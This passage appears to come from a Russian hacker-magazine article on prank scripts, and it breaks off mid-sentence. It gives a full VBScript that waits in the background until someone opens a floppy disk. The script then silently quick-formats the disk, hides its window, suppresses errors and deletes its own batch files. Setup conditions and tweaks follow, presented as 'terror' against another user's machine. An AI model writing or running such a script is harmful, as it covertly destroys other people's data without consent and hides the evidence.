ВОЗВРАЩЕНИЕ БЛОКНОТА - Готовим западло на скриптах Анализирующий Спецвыпуск Xakep, номер #033, стр. 033-046-2 При желании можешь усовершенствовать этот скрипт. Например, можно считать количество попыток использования диска и каждый раз выдавать новое предупреждение. В общем, пофантазируй. ИЗДЕВАЕМСЯ НАД FDD И ЕГО ХОЗЯИНОМ С оптическими дисками разобрались, но остались дискеты. Что можно делать с дискетами? Извлекать не получится по причине отсутствия какой либо связи данной механической части с электроникой. Остается логическая составляющая. Самым оптимальным вариантом мне представляется форматирование, причем скрытое. Открыл так чел документ с дискетки, работает потихоньку, глянь - а файлов-то и нет! Только осторожно: возможны приступы вандализма, членовредительство :), громкие размышления на тему вирусов, вирусописателей и интимной жизни их родственников. Приступим. Option Explicit Dim WshShell, fso,flopp, odrive Dim commandfile, batfile, txtcom, txtbat Dim disklabel, x 'Объявляем используемые переменные commandfile="c:\LOG.LOG" 'Имя файла с командами, передаваемыми программе форматирования batfile="c:\file.bat" 'Имя запускаемого файла disklabel="Loh" 'Метка для форматируемого диска x=0 On Error Resume Next 'Блокировка сообщений об ошибках set WshShell=WScript.CreateObject("WScript.Shell") Set fso = CreateObject("Scripting.FileSystemObject") 'Подключаются системные объекты Do While x=0 'Создается бесконечный цикл 'для работы скрипта до перезагрузки Wscript.sleep 10000 'Пауза между проверками наличия диска в дисководе в миллисекундах If WshShell.AppActivate("A:") then 'Если юзер открыл окно дискеты 'Значит он вставил ее в дисковод Set flopp = fso.GetDrive("A") 'Получаем доступ к флоппу If flopp.IsReady and flopp.FreeSpace <> flopp.TotalSize then 'Если он не чистый 'То создается файл с ответами Set txtcom = fso.opentextfile(commandfile,2,true) txtcom.writeline txtcom.writeline "y" txtcom.close 'и пакетный файл с командой форматирования 'и заметания следов Set txtbat = fso.opentextfile(batfile,2,true) txtbat.writeline "format a: /q /v:" & disklabel & " < " & commandfile txtbat.writeline "del " & commandfile txtbat.writeline "del " & batfile txtbat.close WshShell.run batfile,0 'Теперь полученная парочка принимается за работу 'Причем в скрытом режиме End if End if 'Заново повторяется вся процедура Loop Эта фича будет работать при условиях: 1. Дискета не защищена от записи. 2. В "Свойствах папки" - "Вид" - отмечена опция "Выводить полный путь в строке заголовка". 3. Окно проводника с содержимым дискеты открыто, пусть даже в свернутом виде, как минимум 10 секунд. Если интервал не устраивает, измени строку Wscript.sleep 10000 например, на Wscript.sleep 5000 4. Корень диска С не защищен от записи (бывает и такое). В противном случае замени имена (расположение) файлов c:\LOG.LOG и c:\file.bat на другие. В принципе, имена и расширения могут быть любыми. 5. Данному пользователю разрешено форматировать дискеты (Windows 2k/XP). 6. Если террор производится на компе под управлением Windows XP, то дискета форматируется даже при открытых на ней файлах. Если же используется Винда из серии 9х/МЕ, то нужно заменить строку |